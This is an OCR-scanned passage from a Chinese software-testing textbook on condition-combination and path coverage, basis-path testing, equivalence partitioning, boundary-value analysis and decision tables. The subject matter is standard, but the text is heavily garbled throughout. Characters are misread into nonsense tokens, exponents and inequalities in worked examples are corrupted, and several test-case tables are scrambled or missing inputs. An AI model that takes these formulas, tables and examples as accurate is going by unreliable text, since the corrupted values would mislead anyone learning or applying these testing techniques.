5 T3,T4 N=.T. a>>1,c>1,N 取 真 
6 T3,F4 N=.T. a>l,c<=1,N K 
7 F3,T4 N=.T. a<=1.c>1.N 取 真 
8 F3,F4 N=.F. a<=1,:<=1,N 取 假 


针对 8 种 组 合 条 件 ,再 来 设计 能 覆盖 所 有 这 些 组 合 的 测试 用 例 , 如 表 3-5 所 示 。 从 中 可 
以 看 出 ,事实 上 ,条 件 组 合 覆 盖 是 将 覆盖 条 件 组 合成 满足 条 件 的 判定 条 件 , 同 时 保证 判定 条 
件 的 所 有 取 值 至 少 执行 一 次 。 
表 3-5 条 件 组 合 覆盖 的 测试 用 例 


测试 用 例 覆盖 条 件 覆盖 路 径 覆盖 组 合 

输入 : a=2,b=1,c=6 

T1,72,73,T4 P1(1-2-4) 1,5 
输出 : a=2,b=1,c=5 
fA: a 二 2,b 二 一 1,c 二 一 2 
WA k ji T1,F2,T3,F4 P3(1-3-4) 2,6 
输出 : a=2,b=—1,c=—2 
MA: a=—1,b=2,c=3 

F1,T2,F3,T4 P3(1-3-4) 3.7 
输出 : a= 一 1,b=2,c=6 
BASH SE es F1,F2,F3,F4 P4(1-3-5) 4,8 
输出 : a=—1.b=—2.c=—5 éii : 


条 件 组 合 覆 盖 设计 方法 也 有 缺陷 ,从 上 面 的 测试 用 例 中 可 以 看 到 ,所 有 的 条 件 覆 盖 组 合 
不 能 保证 所 有 的 路 径 被 执行 , 即 P2(1-2-5) 没 有 被 执行 。 所 以 ,更 理想 的 测试 用 例 ,不 仅 能 覆 
盖 各 个 条 件 和 各 个 判定 ,而且 还 能 覆盖 基本 路 径 ,下 面 就 引出 路 径 覆 盖 。 


3.1.6 ”路径 覆 盖 
顾名思义 ,路 径 覆 盖 就 是 设计 所 有 的 测试 用 例 , 来 覆盖 程序 中 的 所 有 可 能 的 执行 路 径 。 


根据 3. 1. 5 小 节 讨 论 , 也 就 是 调整 表 3-5 中 第 2、3 个 测试 用 例 , 那 就 调整 第 2 个 测试 用 例 ， 
即 设 计 出 测试 用 例 覆 盖 路 径 P2(1-2-5) ,而 不 是 P3(1-3-4) ,这 样 就 可 以 完全 覆盖 路 径 P1、 


P2、P3 和 P4, 如 表 3-6 所 示 。 但 是 ,路 径 覆 盖 法 没有 涵盖 所 有 的 条 件 组 合 (如 组 合 2、6)。 
表 3-6 路 径 覆 盖 的 测试 用 例 


测试 用 例 覆盖 路 径 覆盖 条 件 覆盖 组 合 

和 be P1(1-2-4) i T 1,5 
输出 : a=2,b=1,c=5 

egies aad P2(1-2-5) T1, T2,F3,F4 1,8 
输出 : a=1,b=1,c=—2 

BAe se P3(1-3-4) F1,T2,F3,T4 357 
输出 : a=—1,b=2,c=6 

nA P4(1-3-5) F1,F2,F3,F4 4,8 


输出 : 


通过 前 面 例子 可 以 看 到 ,采用 其 中 任何 一 种 方法 都 不 能 完全 覆盖 所 有 的 测试 用 例 , 因 
此 ,在 实际 的 测试 用 例 设 计 过 程 中 ,可 以 根据 需要 和 不 同 的 测试 用 例 设 计 特 征 , 将 不 同 的 设 
计 方 法 组 合 起 来 ,交叉 使 用 ,以 达到 最 高 的 覆盖 率 。 

采用 条 件 组 合 和 路 径 覆 盖 两 种 方法 的 结合 来 重新 设计 测试 用 例 , 如 表 3-7 所 示 ,也 就 是 
在 表 3-5 或 表 3-6 基础 上 增加 一 个 用 例 ,通过 共 5 个 测试 用 例 就 能 覆盖 各 种 情况 ,包括 条 件 、 
判定 .条件 组 合 .路 径 等 ,使 程序 得 到 完全 的 测试 。 


a=—1,b=—2,c=—5 


表 3-7 完全 覆盖 的 测试 用 例 


测试 用 例 覆盖 路 径 覆盖 条 件 覆盖 组 合 

输入 : a=2.b=1.c=6 
P101-2-4) T1,T2,T3,T4 1,5 
输出 : a=2,b=1,c=5 
输入 : a=1,b=1,c= 一 3 

P2(1-2-5) T1,T2,F3,F4 1,8 
输出 : a=1,b=1,c=—2 
Nb P3(1-3-4) T1,F2,T3,F4 2,6 
输出 , a=2,.b=—1,c=—2 sped ， 
BAIT OTEA P3(1-3-4) F1, T2,F3,T4 3,7 
输出 : a=—1,b=2,c=6 ` acai , 
Sra i. oe P4(1-3-5) F1,F2,F3,F4 4,8 
输出 : a=—1.b=—2.c=—5 $ as i 


3.1.7 基本 路 径 测 试 法 


顾名思义 ,路 径 履 盖 就 是 设计 所 有 的 测试 用 例 ,来 覆盖 程序 中 的 所 有 可 能 的 执行 路 径 。 
基本 路 径 测 试 法 是 在 程序 控制 流 图 的 基础 上 ,通过 分 析 控制 构造 的 环 路 复杂 性 ,导出 基本 可 
执行 路 径 集 合 ,从 而 设计 测试 用 例 的 方法 。 设 计 出 的 测试 用 例 要 保证 被 测试 程序 的 每 个 可 


执行 语句 至 少 被 执行 一 次 。 基 本 路 径 测试 法 通过 以 下 5 个 基本 步骤 来 实现 。 


(1) 程序 的 流程 控制 图 。 程 序 流 程控 制图 描述 程序 控制 流 的 一 种 图 示 方 法 ,可 以 用 
图 3-3 基本 图 元 (顺序 分 支 .循环 等 ) 来 描述 任何 程序 结构 。 图 3-2 可 以 转化 为 如 图 3-4 所 
示 的 程序 流程 图 。 


a ok 
顺序 ， 


If-then-else Case 
一 A Do-until 
Do-while 
图 3-3 程序 流程 的 基本 图 元 图 3-4 程序 流程 图 示例 


(2) 计算 程序 环 路 复杂 度 。 通 过 对 程序 的 控制 流程 图 的 分 析 和 判断 来 计算 模块 复杂 性 
度量 ,从 程序 的 环 路 复杂 性 可 导出 程序 基本 路 径 集合 中 的 独立 路 径 条 数 。 环 路 复杂 性 可 以 
用 V(G) 来 表示 ,其 计算 方法 有 : 

。，V(G)= 区 域 数 目 。 区 域 是 由 边界 和 节点 包围 起 来 的 形状 所 构成 ,计算 区 域 时 应 包 

括 图 的 外 部 区 域 ,将 其 作为 一 个 区 域 。 图 3-4 的 区 域 数 目 是 3, 也 就 是 有 3 条 基本 
路 径 。 

。V(G) 王 边界 数目 一 节点 数目 十 2。 按 此 计算 ,图 3-4 结果 也 是 3( 即 6 一 5 十 2)。 

。V(G) 二 判断 节点 数目 十 1。 如 图 3-4 中 ,判断 节点 有 A、C, 则 V(G)=2 十 1=3。 

G) 确定 基本 路 径 。 通 过 程序 流程 图 的 基本 路 径 来 导出 基本 的 程序 路 径 的 集合 。 通 过 
上 面 的 分 析 和 计算 ,知道 图 3-4 所 示 程 序 有 3 条 基本 路 径 , 下 面 给 出 一 组 基本 路 径 。 在 一 个 
基本 路 径 集合 里 ,每 条 路 径 是 唯一 的 。 但 基本 路 径 组 (集合 ) 不 是 唯一 的 ,还 可 以 给 出 另外 两 
组 基本 路 径 。 

© A-C-E 

© A-B-C-E 

®© A-B-C-D-E 

(4) 准备 测试 用 例 ,确保 基本 路 径 组 中 的 每 一 条 路 径 被 执行 一 次 。 

® a=—1,b=—2,.c=—3 可 以 覆盖 路 径 A-C-E。 

®© a=1,b=1,c=—3 可 以 覆盖 路 径 A-B-C-E。 

@ a=2,b=1.c=6 可 以 覆盖 路 径 A-B-C-D-E。 

(5) REEE (graph matrix) 是 在 基本 路 径 测 试 中 起 辅助 作用 的 软件 工具 ,利用 它 可 以 
实现 自动 地 确定 一 个 基本 路 径 集 。 图 形 和 矩阵 的 行 / 列 数控 制 流 图 中 的 节点 数 ,每 行 和 每 列 依 
次 对 应 到 一 个 被 标识 的 节点 ,矩阵 元 素 对 应 到 节点 间 的 连接 ( 边 )。 如 果 在 控制 流 图 中 第 
个 节点 到 第 j 个 节点 有 一 个 名 为 x 的 边 相 连接 , 则 在 对 应 的 图 形 和 矩阵 中 第 i 行 /第 j 列 有 一 
个 非 空 的 元 素 x。 根 据 这 个 规则 ,可 以 针对 图 3-4 所 给 出 的 图 形 和 矩阵 ,如 图 3-5 所 示 。 一行 
有 两 个 或 更 多 的 元 素 “1”, 则 是 判定 节点 。 对 每 个 矩阵 项 加 入 连接 权 值 (link weight) , RHE 
阵 就 可 以 用 于 在 测试 中 评估 程序 的 控制 结构 ,连接 权 值 为 控制 流 可 以 提供 附加 信息 ,例如 执 
行 连接 ( 边 ) 的 概率 、 处 理 时 间 和 所 需 的 内 存 等 。 


1 1 判定 节点 


判定 节点 


mo a w > 
= 
re 


图 3-5 PAVE RE A em 
3.2 黑 盒 测试 方法 


黑 盒 测试 方法 ,也 称 功能 测试 或 数据 驱动 测试 方法 ,在 测试 时 ,把 程序 看 作 一 个 不 能 打 
开 的 黑 盒子 ,在 完全 不 考虑 程序 内 部 结构 和 内 部 特性 的 情况 下 ,测试 人 员 针对 软件 直接 进行 
测试 ,如 图 3-6 所 示 ,检查 系统 功能 是 否 按照 需求 规格 说 明 书 的 规定 正常 使 用 .是 否 能 适当 
地 接收 输入 数据 而 输出 正确 的 结果 ,检查 相应 的 文档 是 否 采用 了 正确 的 模板 .是否 满足 规范 
要 求 等 。 


客户 需求 、 条 件 限制 


结果 输出 


数据 给 入 
A 


事件 驱动 
图 3-6 黑 盒 测试 方法 示意 图 


黑 盒 测 试 方法 不 关注 软件 内 部 结构 ,而 是 着 眼 于 程序 外 部 用 户 界面 ,关注 软件 的 输入 和 
输出 ,关注 用 户 的 需求 ,从 用 户 的 角度 验证 软件 功能 ,实现 端 到 端 (end-to-end) 的 测试 。 黑 
盒 测 试 方法 根据 用 户 的 体验 评估 软件 的 质量 ,验证 产品 每 个 功能 是 否 都 能 正常 使 用 .是 否 满 
足 用 户 的 要 求 。 

黑 盒 测试 方法 中 常用 的 具体 方法 有 等 价 类 划分 法 .边界 值 分 析 法 、 错 误 推 测 法 、 因 果 图 
等 ,借助 这 些 方法 可 以 简化 测试 数据 的 数量 ,设计 更 有 效 的 测试 用 例 。 黑 盒 测 试 方法 常用 于 
发 现 以 下 缺陷 : 

是 否 有 不 正确 或 遗漏 了 的 功能 ; 

能 否 正 确 地 接受 输入 数据 ,能 否 产 生 正 确 的 输出 信息 ; 
功能 操作 逻辑 不 合理 ; 

界面 是 否 出 错 、 是 否 不 美观 ; 

安装 过 程 中 出 现 问题 ,安装 步骤 不 清晰 \ 不 够 方便 灵活 ; 

。 系统 初始 化 问题 。 

使 用 黑 盒 测试 方法 时 , 穷 举 测试 也 是 不 可 能 的 , 即 不 可 能 完成 所 有 的 输入 条 件 及 其 组 合 
的 测试 , 黑 盒 测试 法 的 覆盖 率 有 时 比较 难以 测定 或 达到 一 定 水 平时 就 难以 提高 ,这 是 它 的 局 


限 性 。 所 以 ,在 实际 测试 工作 中 ,还 要 结合 白 盒 测试 方法 ,进行 条 件 、 逻 辑 和 路 径 等 方面 的 
测试 。 


3.2.1 等 价 类 划分 法 


数据 测试 是 功能 测试 的 主要 内 容 , 或 者 说 功能 测试 最 主要 手段 之 一 就 是 借助 数据 的 输 
入 输出 来 判断 功能 能 否 正常 运行 。 在 进行 数据 输入 测试 时 ,如 果 需 要 证 明 数 据 输入 不 会 引 
起 功能 上 的 错误 ,或 者 其 输出 结果 在 各 种 输入 条 件 下 都 是 正确 的 ,就 需要 将 可 输入 数据 域内 
的 值 完全 尝试 一 遍 ( 即 穷 举 法 ) ,但 实际 是 不 现实 的 。 

假如 一 个 程序 P 有 输入 量 1 和 I2 及 输出 量 0, 在 字 长 为 32 位 的 计算 机 上 和 运行。 如 果 
I1 和 了 2 均 取 整数 , 则 测试 数据 的 最 大 可 能 数目 为 22 x 2% = 2, 

如 果 测 试 程序 P, 采 用 穷 举 法 力图 无 遗漏 地 发 现 程序 中 的 所 有 错误 , 且 假 定 运行 一 组 
(I1,I2) 数 据 需 1 毫秒 ,一 天 工作 24 小 时 ,一 年 工作 365 天 , 则 2* 组 测试 数据 需 5 亿 年 。 从 
而 穷 举 的 黑 盒 测试 通常 是 不 能 实现 的 。 因 此 只 能 选取 少量 有 代表 性 的 输入 数据 ,以 期 用 较 
小 的 测试 代价 暴露 出 较 多 的 软件 缺陷 。 

为 了 解决 这 个 问题 ,人 们 就 设想 是 否 可 以 用 一 组 有 限 的 数据 去 代表 近似 无 限 的 数据 ,这 
就 是 “等 价 类 划分 ?方法 的 基本 思想 。 等 价 类 划分 法 就 是 解决 如 何 选择 适当 的 数据 子 集 来 代 
表 整 个 数据 集 的 问题 ,通过 降低 测试 的 数目 去 实现 “合理 的 ”覆盖 ,覆盖 了 更 多 的 可 能 数据 ， 
以 发 现 更 多 的 软件 缺陷 。 等 价 类 划分 法 基于 对 输入 或 输出 情况 的 评估 ,然后 划分 成 两 个 或 
更 多 子 集 来 进行 测试 的 一 种 方法 , 即 它 将 所 有 可 能 的 输入 数据 (有 效 的 或 无 效 的 ) 划 分 成 若 
干 个 等 价 类 ,从 每 个 等 价 类 中 选择 一 定 的 代表 值 进 行 测试 。 等 价 类 划分 法 是 黑 盒 测试 用 例 
设计 中 一 种 重要 的 、 常 用 的 设计 方法 ,将 漫 无 边际 的 随机 测试 变 为 具有 针对 性 的 测试 , 极 大 
地 提高 了 测试 效率 。 

等 价 类 是 指 某 个 输入 域 的 一 个 特定 的 子 集合 ,在 该 子 集合 中 各 个 输入 数据 对 于 揭露 程 
序 中 的 错误 都 是 等 效 的 。 也 就 是 说 ,如 果 用 这 个 等 价 类 中 的 代表 值 作 为 测试 用 例 未 发 现 程 
序 错误 ,那么 该 类 中 其 他 的 数据 (测试 用 例 ) 也 不 会 发 现 程序 的 错误 。 这 样 ,对 于 表征 该 类 的 
某 个 特定 的 数据 输入 将 能 代表 整个 子 集合 的 输入 , 即 测试 某 等 价 类 的 代表 值 就 等 效 于 对 于 
这 一 类 其 他 值 的 测试 。 举 个 例子 ,设计 这 样 的 测试 用 例 ,来 实现 一 个 对 所 有 的 实数 进行 开 方 
运算 的 程序 的 测试 ,这 时 候 需 要 将 所 有 的 实数 (输入 域 ) 进 行 划分 ,可 以 分 成 正 实数 、 负 实数 
和 0, 使 用 十 1. 4444 来 代表 正 实数 ,用 一 2. 345 来 代表 负 实 数 ,输入 的 等 价 类 就 可 以 使 用 
+1. 4444, 一 2. 345 和 0 来 表示 。 

在 确定 输入 数据 的 等 价 类 时 , 常 要 分 析 输 出 数据 的 等 价 类 ,以 便 根据 输出 数据 的 等 价 类 
导出 对 应 的 输入 数据 等 价 类 。 这 样 就 在 等 价 类 划分 过 程 中 ,一 般 经 过 两 个 过 程 一 一 分 类 和 
抽象 : 

。 分 类 ,即将 输入 域 按照 具有 相同 特性 或 者 类 似 功 能 进行 分 类 。 

。 抽象 , 即 在 各 个 子 类 中 去 抽象 出 相同 特性 并 用 实例 来 表征 这 个 特性 。 

等 价 类 划分 法 优点 是 基于 相对 较 少 的 测试 用 例 ,就 能 够 进行 完整 覆盖 ,很 大 程度 上 减少 
了 重复 性 ; 缺点 是 缺乏 特殊 用 例 的 考虑 ,同时 需要 深入 的 系统 知识 ,才能 选择 有 效 的 数据 。 

1. 有 效 等 价 类 和 无 效 等 价 类 

在 进行 等 价 类 划分 的 过 程 中 ,不 但 要 考虑 有 效 等 价 类 划分 ,同时 需要 考虑 无 效 的 等 价 类 


划分 。 有 效 等 价 类 和 无 效 等 价 类 定义 如 下 : 

。 有 效 等 价 类 是 指 输入 完全 满足 程序 输入 的 规格 说 明 、 有 意义 的 输入 数据 所 构成 的 集 

合 ,利用 有 效 等 价 类 可 以 检验 程序 是 否 满足 规格 说 明 所 规定 的 功能 和 性 能 。 
。 无 效 等 价 类 和 有 效 等 价 类 相反 , 即 不 满足 程序 输入 要 求 或 者 无 效 的 输入 数据 构成 的 
集合 。 使 用 无 效 等 价 类 ,可 以 测试 程序 /系统 的 容错 性 一 一 对 异常 输入 情况 的 处 理 。 

在 程序 设计 中 ,不 但 要 保证 所 有 有 效 的 数据 输入 能 产生 正确 的 输出 ,同时 需要 保障 在 输 
入 错误 或 者 空 输入 的 时 候 能 有 异常 保护 ,这 样 的 测试 才能 保证 软件 的 可 靠 性 。 

在 使 用 等 价 类 划分 法 时 ,设计 一 个 测试 用 例 , 使 其 尽 可 能 多 地 覆盖 尚未 被 覆盖 的 有 效 等 
价 类 ,重复 这 个 过 程 ,直至 所 有 的 有 效 等 价 类 都 被 覆盖 , 即 分 割 有 效 等 价 类 直到 最 小 。 对 无 
效 等 价 类 ,进行 同样 的 过 程 , 设 计 若干 个 测试 用 例 ,覆盖 无 效 等 价 类 中 的 各 个 子 类 。 

2. 不 同情 形 的 处 理 

(1) 在 输入 条 件 规定 了 取 值 范围 或 者 个 数 的 前 提 下 , 则 可 以 确定 一 个 有 效 等 价 类 和 两 
个 无 效 等 价 类 。 例 如 : 程序 输入 条 件 为 满足 小 于 100 大 于 10 的 整数 xz, 则 有 效 等 价 类 为 
10<<z 所 100 ,两 个 无 效 等 价 类 为 <10 和 xz 之 100。 

(2) 在 输入 条 件 规定 了 输入 值 的 集合 或 者 规定 了 “必须 如 何 ” 的 条 件 下 ,可 以 确定 一 个 
有 效 等 价 类 和 一 个 无 效 等 价 类 。 例 如 : 程序 输入 条 件 为 +==10, 则 有 效 等 价 类 为 2 = 10,6 
效 等 价 类 为 2710. 

(3) 在 输入 条 件 是 一 个 布尔 量 的 情况 下 ,可 确定 一 个 有 效 等 价 类 和 一 个 无 效 等 价 类 。 
例如 : 程序 输入 条 件 为 BOOL x=true, 则 有 效 等 价 类 为 x 二 true, 无 效 等 价 类 为 x 二 false。 

(4) 在 规定 了 一 组 输入 数据 (包括 个 输入 值 ) ,并且 程序 要 对 每 一 个 输入 值 进行 分 别 
进行 处 理 的 情况 下 ,可 确定 n 个 有 效 等 价 类 和 一 个 无 效 等 价 类 。 例 如 : 程序 输入 条 件 为 x 
取 值 于 一 个 固定 的 枚 举 类 型 {1 ,3,7,10,15) , 则 有 效 等 价 类 为 zxE {1,3,7,10,15) ,而 程序 中 
对 这 5 个 数值 分 别 进行 了 处 理 , 对 于 任何 其 他 的 数值 使 用 默认 default 处 理 方式 ,此 时 无 效 
等 价 类 为 x {1,3,7,10,15} 的 集合 。 

(5) 在 规定 了 输入 数据 必须 遵守 的 规则 的 情况 下 ,可 确定 一 个 有 效 等 价 类 和 若干 个 无 
效 等 价 类 ,例如 : 输入 是 页 面 上 用 户 输入 有 效 E-mail 地 址 的 规则 ,必须 满足 几 个 条 件 , 含 有 
@,@ 后 面 格式 为 x. x,E-mail 地 址 不 带 有 特殊 符号 ”,# ,“,& ,有效 等 价 类 就 是 满足 所 有 条 
件 的 输入 的 集合 ,无效 等 价 类 就 是 不 满足 其 中 任何 一 个 条 件 或 者 所 有 条 件 的 输入 的 集合 。 

(6) 在 确定 已 知 的 等 价 类 中 各 元 素 在 程序 处 理 方 式 不 同 的 情况 下 , 则 应 再 将 该 等 价 类 
进一步 划分 为 更 小 的 等 价 类 。 

3. 示例 

有 一 报表 处 理 系 统 , 要 求 用 户 输入 处 理 报表 的 日 期 。 假 设 日 期 限制 在 2000 年 1 月 至 
2020 年 12 H , 即 系统 只 能 对 该 段 时 期 内 的 报表 进行 处 理 。 如 果 用 户 输入 的 日 期 不 在 这 个 
范围 内 , 则 显示 错误 信息 。 并 且 此 系统 规定 日 期 由 年 月 的 6 位 数字 组 成 ,前 四 位 代表 年 ,后 
两 位 代表 月 。 则 检查 日 期 时 ,可 用 表 3-8 进行 等 价 类 划分 和 编号 。 

在 进行 功能 测试 时 ,只 要 对 合理 等 价 类 和 不 合理 等 价 类 测试 进行 测试 ,覆盖 四 .@ .@ 三 
个 合理 等 价 类 测试 ,只 要 用 一 个 值 201006 即 可 ; 对 不 合理 等 价 类 的 测试 则 要 分 别 输入 7 个 
非法 数据 ,如 200a0b、20102、1012012、198802、203011、200000、202013。 合 起 来 只 要 完成 


8 个 数据 的 输入 就 可 以 了 。 如 果 不 用 等 价 类 划分 法 ,其 测试 的 输入 值 则 高 达 几 百 个 ,可 见 等 
价 类 划分 法 提高 了 测试 效率 。 
表 3-8 等 价 类 划分 的 一 个 实例 


输 入 合理 等 价 类 不 合理 等 价 类 
@ 有 非 数字 字符 

报表 日 期 D 6 位 数字 字符 @ 少 于 6 个 数字 字符 
@ 多 于 6 个 数字 字符 

_ © 小 于 2000 

年 份 范围 © 在 2000 ~ 2020 之 间 @ 大 于 2020 

© 等 于 0 
9 在 1 一 12 
月 份 范围 ®t 之 间 ORFI 


3.2.2 边界 值 分 析 法 


实践 证 明 ,程序 往往 在 输入 输出 的 边界 值 情况 下 发 生 错 误 。 边 界 包括 输入 等 价 类 和 输 
出 等 价 类 的 大 小 边界 ,检查 边界 情况 的 测试 用 例 是 比较 高 效 的 ,可 以 查 出 更 多 的 错误 。 如 上 
面 介绍 的 处 理 报表 日 期 的 例子 ,等 价 类 划分 法 就 忽略 了 几 个 边界 条 件 , 如 200001( 边 界 有 效 
最 小 值 ) .202012( 边 界 有 效 最 大 值 ) 以 及 边界 无 效 值 199901、199912、202101、202112 等 ,而 
程序 往往 在 这 些 地 方 容易 出 错 。 这 就 要 求 测试 人 员 对 输入 的 条 件 进行 分 析 并 找 出 其 中 的 边 
界 值 条 件 , 通 过 对 这 些 边 界 值 的 测试 来 发 现 更 多 的 错误 。 

边界 值 分 析 法 就 是 在 某 个 输入 输出 变量 范围 的 边界 上 ,验证 系统 功能 是 否 正常 运行 的 
测试 方法 。 因 为 错误 最 容易 发 生 在 边界 值 附近 ,所 以 边界 值 分 析 法 对 于 多 变量 函数 的 测试 
很 有 效 ,尤其 对 于 像 C/C++ 数据 类 型 要 求 不 是 很 严格 的 语言 更 能 发 挥 作用 。 缺 点 是 对 布尔 
值 或 逻辑 变量 无 效 , 也 不 能 很 好 地 测试 不 同 的 输入 组 合 。 边 界 值 分 析 法 常 被 看 作 是 等 价 类 
划分 法 的 一 种 补充 ,两 者 结合 起 来 使 用 更 有 效 。 

边界 值 分 析 法 要 取决 于 变量 的 范围 和 范围 的 类 型 ,确认 所 有 输入 的 边界 条 件 或 临界 值 ， 
然后 选择 这 些 边界 条 件 、 临 界 值 及 其 附近 的 值 来 进行 相关 功能 的 测试 。 边 界 值 分 析 法 处 理 
技巧 如 下 : 

(1) 如 果 输 入 条 件 规定 了 值 的 范围 , 则 取 刚 刚 达到 这 个 范围 的 边界 值 (如 上 述 200001、 
202012) ,以 及 刚刚 超过 这 个 范围 边界 的 值 (如 上 述 199912、202101)。 

(2) 如 果 输 入 条 件 规定 了 值 的 个 数 , 则 用 最 大 个 数 、 最 小 个 数 、 比 最 大 个 数 多 1 个 、 比 最 
小 个 数 少 1 个 的 数 等 作为 测试 数据 。 

G) 根据 规格 说 明 的 每 一 个 输出 条 件 ,分别 使 用 以 上 两 个 规则 。 

(4) 如 果 程 序 的 规格 说 明 给 出 的 输入 域 或 输出 域 是 有 序 集合 (如 有 序 表 、 顺 序 文件 等 )， 
则 应 选取 集合 的 第 一 个 和 最 后 一 个 元 素 作为 测试 数据 。 

在 边界 值 分 析 法 中 ,最 重要 的 工作 是 确定 边界 值 域 。 一 般 情况 下 , 先 确定 输入 和 输出 的 
边界 ,然后 根据 边界 条 件 进 行 等 价 类 的 划分 。 这 里 给 出 一 个 排序 程序 的 边界 值 分 析 的 例子 ， 
其 边界 条 件 有 : 

。 排序 序列 为 空 ; 

。 排序 序列 仅 有 一 个 数据 ; 


。 排序 序列 为 最 长 序列 ; 


。 排序 序列 已 经 按 要 求 排 好 序 ; 

。 排序 序列 的 顺序 与 要 求 的 顺序 恰好 相反 ; 

。 排序 序列 中 的 所 有 数据 全 部 相等 。 

上 面 提 到 的 例子 是 常用 的 数组 边界 检查 时 遇 到 的 。 通 常情 况 下 ,软件 测试 所 包含 的 边 
界 检验 有 几 种 类 型 : 数字 字符、 位 置 、. 质量, 大 小 .速度 方位. 尺寸、 空间 等 ,而 相应 的 边界 
值 假定 为 最 大 /最 小 、 首 位 /末尾 、 上 /下 、 最 快 /最 慢 、 最 高 /最 低 、 最 短 /最 长 、 空 / 满 等 情况 ,这 
需要 对 用 户 的 输入 以 及 被 测 应 用 软件 本 身 的 特性 进行 详细 的 分 析 , 才 能 够 识别 出 特定 的 边 
界 值 条 件 。 男 外 ,还 需要 选取 正好 等 于 、 刚 刚 大 于 和 刚刚 小 于 边界 值 的 数据 作为 测试 数据 ， 


如 表 3-9 所 示 。 


表 3-9 边界 值 附近 的 数据 确定 的 几 种 方法 


项 边 界 值 


测试 用 例 的 设计 思路 


起 始 一 1 个 字符 /结束 十 1 
个 字符 


假设 一 个 文本 输入 区 域 要 求 允许 输入 1 一 255 个 字符 ,输入 1 个 
和 255 个 字符 作为 有 效 等 价 类 ; 输入 0 个 和 256 个 字符 作为 无 
效 等 价 类 ,这 几 个 数值 都 属于 边界 条 件 值 


数值 开始 位 一 1/ 结 束 位 十 1 


例如 数据 的 输入 域 为 1~999, 其 最 小 值 为 1, 而 最 大 值 为 999, 则 
0、1000 刚好 在 边界 值 附 近 


方向 “| 刚刚 超过 /刚刚 低 于 


小 于 空余 空间 一 点 /大 于 
满 空间 一 点 


空间 


1. 数值 的 边界 值 检 验 


例如 测试 数据 存储 时 ,使 用 比 最 小 剩余 空间 大 一 点 ( 几 千 字 节 ) 
的 文件 作为 最 大 值 检验 的 边界 条 件 


计算 机 是 基于 二 进 制 进行 工作 的 ,因此 ,软件 的 任何 数值 运算 都 有 一 定 的 范围 限制 ,如 


表 3-10 所 示 。 


表 3-10 各 类 二 进 制 数值 的 边界 


项 范围 或 值 

位 (b) 0 或 1 

字 节 (B) 0~255 

字 (Word) 0~65 535( HF) ak O~4 294 967 295( 双 字 ) 
千 (K) 1024 

兆 (M) 1048 576 

吉 (G) 1073 741 824 

万 亿 (T) 1099 511 627 776 


这 样 ,在 数值 的 边界 值 条 件 检验 中 ,就 可 以 参考 这 个 表 进 行 。 如 对 字 节 进行 检验 ,边界 


值 条 件 可 以 设置 成 254、255 和 256. 


2. 字符 的 边界 值 检验 


在 计算 机 软件 中 ,字符 也 是 很 重要 的 表示 元 素 , 其 中 ASCII 和 Unicode 是 常见 的 编码 
方式 , 表 3-11 列 出 了 一 些 简单 的 ASCII 码 对 应 表 。 


表 3-11 字符 和 ASCH 码 值 的 对 应 关系 


字 A ASCII 码 值 字 符 ASCII 码 值 
空 (NULL) 0 A 65 
28 i (SPACE) 32 B 66 
RHL 47 ¥ 89 
0 48 Z 90 
9 57 左 中 括号 [ 91 
冒号 (:) 58 REHA 92 
DE G) 59 右 中 括号 ] 93 
< 60 单 引 号 (*) 96 
= 61 a 97 
> 62 b 98 
? 63 y 121 
@ 64 z 122 


在 文本 输入 或 者 文本 转换 的 测试 过 程 中 ,需要 非常 清晰 地 了 解 ASCI 码 的 一 些 基本 对 
应 关系 ,例如 小 写字 母 a 和 大 写字 母 A 在 表 中 的 对 应 是 不 同 的 ,而 0 一 9 的 边界 字符 则 
为 /、: ,这些 也 必须 被 考虑 到 数据 区 域 划分 的 过 程 中 ,从 而 根据 这 些 定义 等 价 有 效 类 来 设计 
测试 用 例 。 

3. 其 他 边界 值 检验 

如 默认 值 . 空 值 .空格 ,未 输入 值 . 零 .无 效 数据 ,不 正确 数据 和 干扰 (垃圾 ) 数 据 等 。 


3.2.3 判定 表 方 法 


前 面 介绍 的 等 价 分 类 法 和 边界 分 析 法 等 都 没有 考虑 到 输入 情况 的 组 合 。 虽 然 各 种 输入 
条 件 可 能 出 错 的 情况 已 经 被 考虑 到 了 ,但 多 个 输入 情况 组 合 起 来 可 能 出 错 的 情况 却 被 忽视 
了 。 检 验 各 种 输入 条 件 的 组 合并 非 一 件 很 容易 的 事情 ,因为 即使 将 所 有 的 输入 条 件 划分 成 
等 价 类 ,它们 之 间 的 组 合 情 况 也 相当 多 ,因此 ,需要 考虑 采用 一 种 适合 于 多 种 条 件 的 组 合 , 相 
应 地 产生 多 个 动作 (结果 ) 的 方法 来 进行 测试 用 例 的 设计 ,这 就 需要 组 合 分 析 。 

组 合 分 析 是 一 种 基于 每 对 参数 组 合 的 测试 技术 ,主要 考虑 参数 之 间 的 影响 是 主要 的 错 
误 来 源 和 大 多 数 的 错误 起 源 于 简单 的 参数 组 合 。 优 点 是 低 成 本 实现 、 低 成 本 维护 .易于 自动 
化 .易于 用 较 少 的 测试 案例 发 现 更 多 的 错误 和 用 户 可 以 自 定义 限制 ; 缺点 是 经 常 需要 专家 
领域 知识 .不 能 测试 所 有 可 能 的 组 合 和 不 能 测试 复杂 的 交互 。 

对 于 多 因素 ,有 时 可 以 直接 对 输入 条 件 进行 组 合 设计 ,不 需要 进行 因果 分 析 , 即 直接 采 
用 判定 表 方法 。 一 个 判定 表 由 “条 件 和 活动 "两 部 分 组 成 ,也 就 是 列 出 了 一 个 测试 活动 执行 
所 需 的 条 件 组 合 ,所 有 可 能 的 条 件 组 合 定义 了 一 系列 的 选择 ,而 测试 活动 需要 考虑 每 一 个 选 
择 。 例 如 ,打印 机 是 否 能 打印 出 来 正确 的 内 容 , 有 多 个 因素 影响 ,包括 驱动 程序 .纸张 . 墨 粉 
等 。 判 定 表 方 法 就 是 对 多 个 条 件 的 组 合 进行 分 析 , 从 而 设计 测试 用 例 来 覆盖 各 种 组 合 。 判 
定 表 是 从 输入 条 件 的 完全 组 合 来 满足 测试 的 覆盖 率 要 求 , 具 有 很 严格 的 逻辑 性 ,所 以 基于 判 
定 表 的 测试 用 例 设 计 方 法 是 最 严格 的 ,测试 用 例 具有 很 高 的 完整 性 。 

在 了 解 如 何 制 定 判定 表 之 前 , 先 要 了 解 5 个 概念 一 一 条件 桩 动作 桩 ,条 件 项 动作 项 和 
规则 。 


。 条 件 桩 : 列 出 问题 的 所 有 条 件 , 如 上 述 3 个 条 件 一 一 驱动 程序 .纸张 . 墨 粉 等 。 

。 动作 桩 : 列 出 可 能 针对 问题 所 采取 的 操作 ,如 打印 正确 内 容 、 打 印 错 误 内 容 、 不 打印 等 。 

